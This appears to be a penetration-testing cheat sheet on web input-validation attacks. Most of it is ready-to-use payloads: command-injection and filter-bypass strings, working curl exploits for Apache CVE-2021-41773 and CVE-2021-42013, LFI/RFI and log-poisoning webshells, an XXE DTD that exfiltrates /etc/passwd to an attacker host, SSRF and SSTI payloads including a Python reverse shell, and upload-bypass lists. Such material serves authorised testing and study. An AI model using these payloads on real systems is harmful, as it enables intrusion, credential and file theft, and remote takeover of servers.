The common technique to find input validation vulnerability:
- Fuzz All parameters for OS Command Injection
- Encode payload in different way to bypass filter!
SQL Injection
SQL injection is most of the popular web hacking technique. If the web app is vulnerable to SQL Injection, Attackers can read, write data in database, and in some case able execute system command.
- Union Based SQLi - We can retrieve data from different database table.
- Boolean Based SQLi - Does not return any errors. But if the app is vulnerable, the page may be broken, something might be missing etc.
- Time Based Blind SQLi - Determine a true value by delaying the database response.
OS Command Injection
OS Command Vulnerability allow attackers to execute System command. As a impact OS/Network may get compromised.
Basic Example
Simple OS COMMAND INJECTION Example, that print content of /etc/passwd
https://site/?id=4;cat+/etc/passwd
Blind OS Command Injection
For Blind OS Command Injection, We need to monitor the repsponse time. Another way to identify Blind OS command injection is pinging your kali ip and capture packet using tcpdump. If it is vulnerable, you will have ICMP packets.
#Blind OS Command, Monitor response time, Also ping to your ip and monitor ICMP echo reply using tcpdump
& ping -c 10 127.0.0.1 &
|ping -c 10 127.0.0.1|
||+ping+-c+10+127.0.0.1||
#Redirect output and browse the file: https://site/output.txt
& whoami > /var/www/html/output.txt &
Out-of-Band OS command Injection
Sometime vulnerable application don’t have any output or effect but interact with external DNS query.
Example:
#To receive output start burp collaborator
;nslookup 9v5hvj3xkz5k2x26pfhqldnsyj49sy.burpcollaborator.net &
;nslookup `whoami`.9v5hvj3xkz5k2x26pfhqldnsyj49sy.burpcollaborator.net &
Fuzzing Payloads
Filter Bypass
#Without Space
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
something%0Acat%20/etc/passwd
#Hex encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
#Character filter Bypass
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
#Bypass blacklist word
w'h'o'am'i
w"h"o"am"i
who$@ami
echo $0
echo whoami|$0
test=/ehhh/hmtc/pahhh/hmsswd
Code Injection
We can submit some programing code which is executed by the server side scripting engine as dynamic code.
To test this vulnerability we first need to identify that what server side scripting engine is being used by the server. For example if the server is using PHP, we can try:
|| phpinfo()
| phpinfo()
{${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
:phpversion();
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
https://site/index.php?id=redtm;system(‘ls-l’);
NOTE: Fuzz every parameters
Reference: OWASP
Path Traversal
If the application is vulnerable to path traversal vulnerability, it is possible to read sensitive file outside of the web root directory.
Example Vulnerable site:
https://site/index.php?file=page/hacker
If the web documents are stored in /var/www/
directory, we can use ..
to navigate to other directory and files. For example:
file=../../etc/passwd
This same way we can read other file such as db-conf.php
:
file=../../var/www/db/db-conf.php
WAF Bypass technique:
..//..//etc/passwd
..\..\c:\boot\ini
..\/..\/etc/passwd
%2e%2e%2f%2e%2e%2fetc%2e%2e%2fpasswd
%252e%252e%252ffetc/passwd
%c0%ae%c0%ae%c0%affetc/passwd
%uff0e%uff0e%u2215fetc/passwd
%uff0e%uff0e%u2216fetc/passwd
..;/..;/etc/passwd
file=file/content/../../etc/passwd%00
Some payload for fuzzing:
https://github.com/redtm1/pentest/raw/master/Path%20Traversal/payloads.txt
https://github.com/omurugur/Path_Travelsal_Payload_List/blob/master/Payload/Deep-Travelsal.txt
Screenshot:
CVE Exploit
CVE-2021-41773
Apache 2.4.49 is vulnerable to path traversal and possible to execute system command
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; cat /etc/issue.net' "https://vulnerable//cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
CVE-2021-42013
Apache 2.4.50 is vulnerable to path traversal and possible to execute system command
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; cat /etc/issue.net" "https://vulnerable/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
Proof of concept in packetstormsecurity!
File Inclusion
LFI
Local File Inclusion usually execute other file in the server. We can read sensitive files and also sometime able to execute system command.
Example Vulnerable site:
https://site/file.php?i=execute
Check if it is exploitable:
i=../../etc/passwd
Filter Bypass Example:
#Double Encoding
%252e%252e%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd%00
#UTF-8 encoding
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
../../../etc/passwd/./././././.
....//....//etc/passwd
..///////..////..//////etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Wrapper
php://filter
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/convert.base64-encode/resource=index.php
pHp://FilTer/convert.base64-encode/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
data://
data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
expect://
expect://id
expect://ls
input://
php://input POST DATA: <?php system('id'); ?>
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
RCE
Log File
Intercept with burp suite and modify the User-Agent
header as follows:
User-Agent: RedTM: <?php system($_GET['cmd']); ?>
Or using curl:
curl http://site/ -A "<?php system(\$_GET['cmd']);?>"
Now include log file to execute command:
http://target/file.php?file=../../../../var/log/access.log&cmd=id
Send mail to the internal email address that contains malicious code, for example:
mail -s "<?php system($_GET['cmd']);?>" administrator@ip < /dev/null
Then include the mail log file:
http://site/index.php?page=/var/log/mail
SSH
If SSH is open, connect to ssh and provide username <?php system($_GET["cmd"]);?>
:
ssh <?php system($_GET["cmd"]);?>@target_ip
Now include the SSH log file:
http://site/index.php?page=/var/log/auth.log&cmd=id
PHP Session
PHP sessions are stored like /var/lib/php5/sess_[PHPSESSID]
or /var/lib/php/session/sess_[PHPSESSID]
files.
Set the cookie using malicious php code:
login=1&user=<?php system("id");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
RFI
Remote File Inclusion(RFI) include file from attacker machine.
Example Vulnerable site:
https://site/page.php?file=content
Example Exploit:
file=http://redtm.com/shell.txt
file=http://redtm.com/shell.txt%00
For filter bypass LFI technique can be used!
Bypass allow_url_include
if allow_url_include
and allow_url_fopen
is off
, we can include file from smb share. To do this
- Create a share using impacket
- place the backdoor file in shared folder
- And include remote file
http://example.com/index.php?page=\\kali\tools\shell.php
Reference:
Deserialization Attack
Serialization is a process objects and it’s fields into data stream. Whereas Deserialization is the process to restore to the original objects in memory. Something worse can be happen if the application deserialize user controlled data without any verifications.
Serialization Example
Serializing in php example:
<?php
class User{
public $username;
public $isadmin;
}
$user = new User;
$user->username='test';
$user->isadmin=False;
echo serialize($user);
Note: In Java writeObject
used to serialize and readObject
used to unserialize the object.
If we execute the code, we will have following output:
┌──(root💀kali)-[~]
└─# php test.php
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}
What does it mean? Let’s have a meaning first:
O = Object
s = String
b = Boolean
d = Float
Meaning of above serialized output:
#Object:Length of Object:Object Name: Properties in the Object
# This become a class User{}
O:4:"User":2:
#Data type String and length 8 s:8
s:8:"username";
#String:Length:"Test"
#So $username="test"
s:4:"test";
#String:Length:"isadmin"
s:7:"isadmin";
#Boolean:False
#So $isadmin=False
b:0;
Deserialization Example
If applications need to use the object again, The application first deserialize it.
<?php
class User{
public $username;
public $isadmin;
}
$user = new User;
$user->username='test';
$user->isadmin=False;
$serialized = serialize($user);
echo $serialized;
$unserialized = unserialize($serialized);
var_dump($unserialized);
?>
┌──(root💀kali)-[~]
└─# php test.php
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}
object(User)#2 (2) {
["username"]=>
string(4) "test"
["isadmin"]=>
bool(false)
}
Magic Methods
Magic methods are automatically executed when some conditions are true. For example, if __wakeup()
method is present unserialize()
will search and execute this method. And __destruct()
method used to clean up the object. This method may contains some php code to clean or delete other file which could be abused too.
An Wonderful document in OWASP with a example of POP Chain
!
Finding Insecure Deserialization
- Search for large blob such as base64 encoded data, and decode it.
- If found a serialized data, try to temper it, for example user role.
- Java serialized data mostly start with
AC ED 00 05
orr0o
. Have a careful look. - If the target is java application, use
ysoserial.jar
for gadget chain. - For PHP use Burp Suite.
Attack Example
If we control the serialized data, we can try to temper it, for example:
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}
could be changed to
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:1;}
For basic understanding of this attack, I have recorded a short video while i was testing portswigger web academy challenges for this vulnerability:
Server Side Request Forgery(SSRF)
SSRF allow attackers making malicious request to other domains in the same network.
Possible Impact?
- Access to restricted actions.
- Access to internal service and files.
- Exploit trust relationships.
- Sometime execute system command.
Example Vulnerable Site:
https://site/?page=page.php
Exploit
#Load Content from external site
page=https://redtm.com/backdoor.php
#Access to local host
page=localhost/login
page=http://127.0.0.1/login
page=http://127.0.0.1:80/login
page=http://127.0.0.1:443/login
page=http://[::]:80/
page=http://spoofed.burpcollaborator.net
#page=http://127.1/admin
page=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
#Get local files contents
page=file:///etc/passwd
Example
The vulnerable parameter is:
page=param
When i tried to inject below url i got error like Only http://blahblah/
allowed
page=http://localhost/
But http://user@blahblah
did not show any error. With below payload got internal error
:
http://user%25%32%33@blahblah
Finally working payload was:
http://localhost:80%25%32%33@blahblah
XML external entity injection(XXE )
XXE allows to view sensitive file from the server and sometime possible to execute system command.
According to owasp: An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Below some example which noted from portswigger web academy while i was practicing for xxe
How To find
- Check if it has
Content-Type: application/xml
- Fuzz every input point
- Use Burp Suite Professional Scanner
Retrieve Files
POST /product/stock HTTP/1.1
.
.
.
.
.
Connection: close
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Exploit:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>*
SSRF Attack
With XXE SSRF attack also possible.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind XXE
Blind XXE doesn’t return any output but it is still exploitable.
Two method can be used to find blind xxe:
-
Trigger out-of-band network interaction, For this, we can use burp suite collaborator
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://sfbbuqx9bnl7ikx3ht8gzji7uy0poe.burpcollaborator.net"> ]>
Exploit example:
Host this xml code in a file in Kali Linux:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;
Submit following payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
-
Trigger XML parsing error.
Exploit Example:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
RCE
Using expect
it might be possible to execute system command.
Below payload example taken from owasp.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
Reference:
Server Side Template Injection
Server Side Template Injection(SSTI) is a vulnerability that allow an attacker to execute system command. It has same impact as OS Command Injection
vulnerability if the attacker can execute system command. If attacker can’t execute system command, he might be able to read other sensitive files and escalate the attack.
Some Popular Template that is being used by developers:
Twigs
Smarty
Jinja
Tornado
Mako
Rage
Jade
Velocity
FreeMaker
This is Jinja Vulnerable code copied from OWASP:
@app.route("/page")
def page():
name = request.values.get('name')
output = Jinja2.from_string('Hello ' + name + '!').render()
return output
Above code directly taking input from user without any validation. As an attacker if we request:
https://site/vuln?name={{7*7}}
The output we will get:
Hello 49
Now We can execute system command:
https://site/vuln?name={{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Finding the Vulnerability
- Find all input point
- Fuzz
- Scan using Burp Suite Pro
- SSTI Scanner is a tool to scan for SSTI
- Identify what template is being used and read it’s manual then search discoverd SSTI vulnerability
- If identifying template is not possible, Fuzzing is the best place to start
Fuzzing Payload
<%=fake%>
}}<tag>
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Burp Scanner can detect it:
Fuzzing Screenshot:
The vulnerability usually occur in text context or code context
Text Context example
page={{7*7}}
Code context
Code context is bit different than Text context. Example from owasp:
#First Test show nothing
personal_greeting=username<tag>
Hello
#If we break the statement with }}
personal_greeting=username}}<tag>
Hello user01 <tag>
Resources
Upload Malicious Files
The server may not be validating the file properly. If this is the case, attacker might be able to upload malicious file and execute system command.
Where to look?
- Registration Page
- Contact page
- Profile/Dashboard
- Search other pages to upload files
If file upload functionality exist, we can fuzz the file extension to identify what kind of file is accepted. Filter bypass may be required too.
Some Filter bypass technique
-
Try uploading file with different type extension such as,
php3,php4,php7
etc. -
Try uploading less known file type such as
phar,phtml
-
Use double extension like
.png.php
,php.png
-
Mix upper/lowercase like
pHp, pHP
-
Try Null bytes :
.php%00.gif .php\x00.gif .php%00.png .php\x00.png .php%00.jpg .php\x00.jpg
-
Try naming the file with multiple dots
malicious.PHP.....................
-
Try naming the file with white space like
malicious.PHP
ormalicious.pHp%20
-
Change content type using Burp Suite pro, such as
Content-Type: image/jepg
-
Use Magic Byte, Wiki Reference
-
Try exploiting other vulnerability such as
image.png../../../../../../../etc/passwd
,'"><img src=x onerror=alert(document.domain)>.jpg
,../../../tmp/lol.png
Extension Fuzzing Payload
.php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
.pl
.pm
.cgi
.lib
.pl
.pm
.cgi
.lib
.jpg.php
.php.jpg
.pHp
.pHP5
.PhAr
.pHp%20
.PHP%20
.php%00.jpg
.php\x00.jpg
.php%00.jpg
.php\x00.jpg
.php%00.jpg
.php\x00.jpg
.php....................
.php%20
.php%0d%0a.jpg
.%E2%80%AEphp.jpg
.php/
.php.\
.jpg../../../../../../../etc/passwd
; sleep 10;testdlfj.jpg
Burp Suite Pro Upload Scanner
- Upload a valid file and intercept with Burp
- Right click and Select scan.
- When new window appear, select
Audit checks - extensions only
- Click ok
Screenshots:
Reference: PayloadAllTheThings.